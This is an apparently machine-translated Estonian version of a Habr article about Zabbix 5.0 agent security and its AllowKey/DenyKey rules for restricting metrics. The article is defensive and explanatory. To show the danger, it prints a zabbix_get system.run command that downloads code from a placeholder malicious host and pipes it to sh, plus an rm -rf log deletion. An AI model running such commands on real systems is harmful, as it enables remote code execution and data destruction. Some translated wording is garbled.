Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

Toetatakse mustade ja valgete nimekirjade kasutamist agentide mõõdikute jaoks

Tihhon Uskov, Integreerimise insener, Zabbix

Andmete turvaprobleemid

Zabbix 5.0-s on uus funktsioon, mis parandab turvalisust süsteemides, mis kasutavad Zabbix Agenti ja asendab vana parameetri EnableRemoteCommands.

Agentide turvalisuse parandamine on tingitud asjaolust, et agent võib täita palju potentsiaalselt ohtlikke toiminguid.

  • Agent saab koguda praktiliselt igasugust teavet, sealhulgas konfidentsiaalset või potentsiaalselt ohtlikku teavet konfiguratsioonifailidest, logifailidest, paroolifailidest või mistahes muudest failidest.

Näiteks võib zabbix_get utiliidi abil pääseda ligi kasutajate nimekirjale, nende kodukatsetele, paroolifailidele jne.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

Andmete juurde pääsemine zabbix_get utiliidi kaudu

MÄRKUS. Andmed saavad olla kättevõetavad ainult juhul, kui agentil on õigus lugeda vastavat faili. Ent näiteks on fail /etc/passwd/ kõikidele kasutajatele loetav.

  • Ameer võib samuti teostada potentsiaalselt ohtlikke käske. Näiteks, võti *system.run[]** võimaldab täita kõik kaugkäsud võrgus, sealhulgas käivitada Zabbixi veebiliidesest skripte, mis täidavad ka käske agendi pool.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linuxis käivitub agent vaikimisi ilma root-privileegideta, samas kui Windowsis käivitub see teenusena Systemi nimel ja omab piiramatut juurdepääsu failisüsteemile. Seega, kui Zabbix Agendi seadeid pärast installimist ei muudetud, on agendil juurdepääs registrile, failisüsteemile ja ta saab teostada WMI päringuid.

Varasemates versioonides võimaldas parameeter EnableRemoteCommands=0 ainult keelata metrikad võtmega *system.run[]** ja skriptide täitmise veebiliidesest, kuid ei võimaldanud eraldi failidele juurdepääsu piirata, eraldi võtmete lubamist või keelamist, mis seadistati koos agendiga, või piirata üksikute parameetrite kasutamist.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

Varasemates Zabbixi versioonides parameetri EnableRemoteCommand kasutamine

AllowKey/DenyKey

Zabbix 5.0 aitab kaitsta sellise volitamata juurdepääsu eest, kasutades agentide poolset meetrikate lubamise ja keeldumise valgeid ning mustasid nimesid.

Zabbix 5.0-s on kõik võtmed, sealhulgas *system.run[]**, lubatud ning agentide konfiguratsiooni on lisatud kaks uut parameetrit:

AllowKey= — lubatud kontrollid;

DenyKey= — keelatud kontrollid;

kus — võtme nime mustri parameetrid, milles kasutatakse metasümboleid (*).

AllowKey ja DenyKey võtmed võimaldavad konkreetse mustri alusel lubada või keelata üksikuid meetrikaid. Erinevalt teistest konfiguratsiooniparameetritest ei ole AllowKey/DenyKey parameetrite arv piiratud. See võimaldab selgelt määratleda, mida agent süsteemis teha saab, luues kontrollide puu — täidetud võtmed, kus nende kirjutamise järjekord mängib väga olulist rolli.

Reeglite järjestus

Reeglid kontrollitakse selles järjekorras, milles need on lisatud konfiguratsioonifaili. Klahvi kontrollimine reeglite järgi toimub esimese vaste kuni esimese vasteni ja niipea, kui andmeelemendi võti vastab mustrile, lubatakse või keelatakse see. Pärast seda reeglite kontrollimise protsess peatub ja ülejäänud võtmeid ignoreeritakse.

Seetõttu, kui element vastab nii lubavale kui ka keelavale reeglile, sõltub tulemus sellest, milline reegel on konfiguratsioonifailis esimene.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

2 erinevat reeglit, millel on sama muster ja võti vfs.file.size[/tmp/file]

Lubatud / Keelatud võtmete kasutamise järjekord:

  1. täpsed reeglid,
  2. üldreeglid,
  3. keelav reegel.

Näiteks, kui vajate juurdepääsu failidele teatud kaustas, tuleb kõigepealt lubada juurdepääs neile, seejärel keelata kõik muu, mis ei kuulu kehtestatud lubatud piirangute alla. Kui keelav reegel on esimesena kasutusele võetud, siis juurdepääs kaustale keelatakse.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

Õige järjestus

Kui on vajalik lubada 2 utiliidi käivitamine läbi *system.run[]**, ja eelnevalt on märgitud keeld, utiliidid ei käivitu, kuna esimene musternäidis vastab alati igale võtmele ning järgnevaid eeskirju ei arvestata.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

Vale järjestus

Mustri tüübid

Põhireeglid

Muster on väljend, mis sisaldab asendustähiseid (wildcard). Metasümbol (*) vastab igasuguste sümbolite arvule kindlas positsioonis. Metasümboleid võib kasutada nii võtme nimedes kui ka parameetrites. Näiteks võib esimese parameetri kindlalt määrata tekstina, ja järgneva määrata wildcard'ina.

Parameetrid peavad olema kantud nurksulgudesse [].

  • system.run[* — vale
  • vfs.file*.txt] — vale
  • vfs.file.*[*] — õige

Wildcard'i kasutamise näited.

  1. Nii võtme nimedes kui ka parameetrites. Antud juhul ei vasta võti analoogsele võtmele, mis ei sisalda parameetrit, kuna musternäidises oleme määranud, et soovime saada mingit võtmename lõppu ja mingit parameetrite kogumit.
  2. Kui musternäidises ei ole nurksulge, lubab muster kõik võtmed, mis ei sisalda parameetreid, ja keelab kõik võtmed, millel on märgitud parameeter.
  3. Kui võti on täielikult kirjutatud ja parameetrid on näidatud kui wildcard, vastab see igasugusele sarnasele võtmele, millel on mis tahes parameetrid ning ei vasta võtmele, millel ei ole ruudukaldeid, st see on lubatud või keelatud.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

Parameetrite täitmise reeglid.

  • Kui kavandatakse võtme kasutamist koos parameetritega, peavad parameetrid olema määratletud konfiguratsioonifailis. Parameetrid peavad olema näidatud kui metasümbol. Oluline on ettevaatlikult keelata juurdepääs igasugustele failidele ning arvesse võtta, millist teavet võib mõõdik anda erinevate kirjutamisvariantide korral – koos parameetritega ja ilma nendeta.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

Parameetritega võtmete kirjutamise eripärad

  • Kui võti on näidatud parameetritega, kuid parameetrid on valikulised ja näidatud kui metasümbol, on see, et võti ilma parameetriteta on lubatud. Näiteks, kui soovite keelata teabe saamise CPU koormuse kohta ja näitate, et võti system.cpu.load[*] peab olema keelatud, ärge unustage, et võti ilma parameetriteta tagastab keskmise koormuse.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

Parameetrite täitmise reeglid

Märkmed

Seadistamine

  • Mõningaid reegleid ei saa kasutaja muuta, näiteks avastamis- (discovery) või agentide automaatregistratsiooni reeglid. Reeglid AllowKey/DenyKey ei puuduta järgmisi parameetreid:
    — HostnameItem
    — HostMetadataItem
    — HostInterfaceItem

MÄRKUS. Kui administraator keelab mõne võtme, ei esita Zabbix taotluse korral teavet selle kohta, miks mõõdik või võti kuulub kategooriasse ‘NOTSUPPORTED‘. Agendi logifailides ei kuvata teavet kaugkomandode täitmise keeldude kohta. See on tehtud turvakaalutlustel, kuid võib keeruliseks muuta tõrkeotsingu, kui mõõdikud satuvad mingil põhjusel toetamata kategooriasse..

  • Ei tasu loota mingile kindlale järjekorrale väliste konfiguratsioonifailide laadimisel (näiteks tähestikulises järjekorras).

Käsurea utiliidid

Pärast reeglite seadistamist on oluline veenduda, et kõik on õigesti seadistatud.

Selleks on kolm varianti:

  • Lisada mõõdik Zabbixisse.
  • Testida zabbix_agentd. Zabbix agent koos valikuga -print (-p) näitab kõiki võtmeid (mis on vaikimisi lubatud), välja arvatud need, mis ei ole konfiguratsiooniga lubatud. Ja valikuga -test (-t) keelatud võtme jaoks tagastab ‘Toetamata esemete võti‘.
  • Testida zabbix_get. Tööriist zabbix_get valikuga -k tagastab ‘ZBX_NOTSUPPORTED: Tundmatu mõõdik‘.

Lubada või keelata

Saate keelata juurdepääsu failile ja veenduda, näiteks, tööriista abil zabbix_get, et juurdepääs failile on keelatud.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

**

MÄRKUS. Parameetri jutumärgid jäetakse tähelepanuta.

Sel juhul võib sellisele failile olla lubatud juurdepääs teise tee kaudu. Näiteks, kui sellele viitab sümboolne link.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mõõdikute jaoks

Soovitav on testida erinevaid rakendamisvõimalusi seatud reeglite ning arvesse võtta võimalusi piirangute ületamiseks.

Küsimused ja vastused

Küsimus. Miks on reeglite, lubade ja keeldude kirjeldamiseks valitud nii keeruline mustrikeel? Miks ei saanud kasutada, näiteks, regulaarseid väljendeid, mida kasutab Zabbix?

Vastus. See on regulaarsete väljendite jõudluse küsimus, kuna agent on tavaliselt üks ja see kontrollib tohutult palju mõõdikuid. Regulaarne väljend on üsna ressursiintensiivne operatsioon ning me ei saa kontrollida tuhandeid mõõdikuid nii. Wildcard'id on universaalne, laialdaselt rakendatav ja lihtne lahendus..

Küsimus. Kas Include-failid ei laadita mitte tähestikulises järjekorras?

Vastus. Teadaolevalt on reeglite rakendamise järjestuse ennustamine, kui jagate reeglid erinevatesse failidesse, praktiliselt võimatu. Soovitan koguda kõik AllowKey/DenyKey reeglid ühte Include faili, kuna nad suhtlevad omavahel, ja seejärel seda faili lisada..

Küsimus. Zabbix 5.0 versioonis on võimalus ‘EnableRemoteCommands=‘ konfigureerimisfailist puudub ning saadaval on ainult AllowKey/DenyKey?

Vastus. Jah, kõik on õige..

Aitäh tähelepanu eest!

Allikas: habr.com

Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster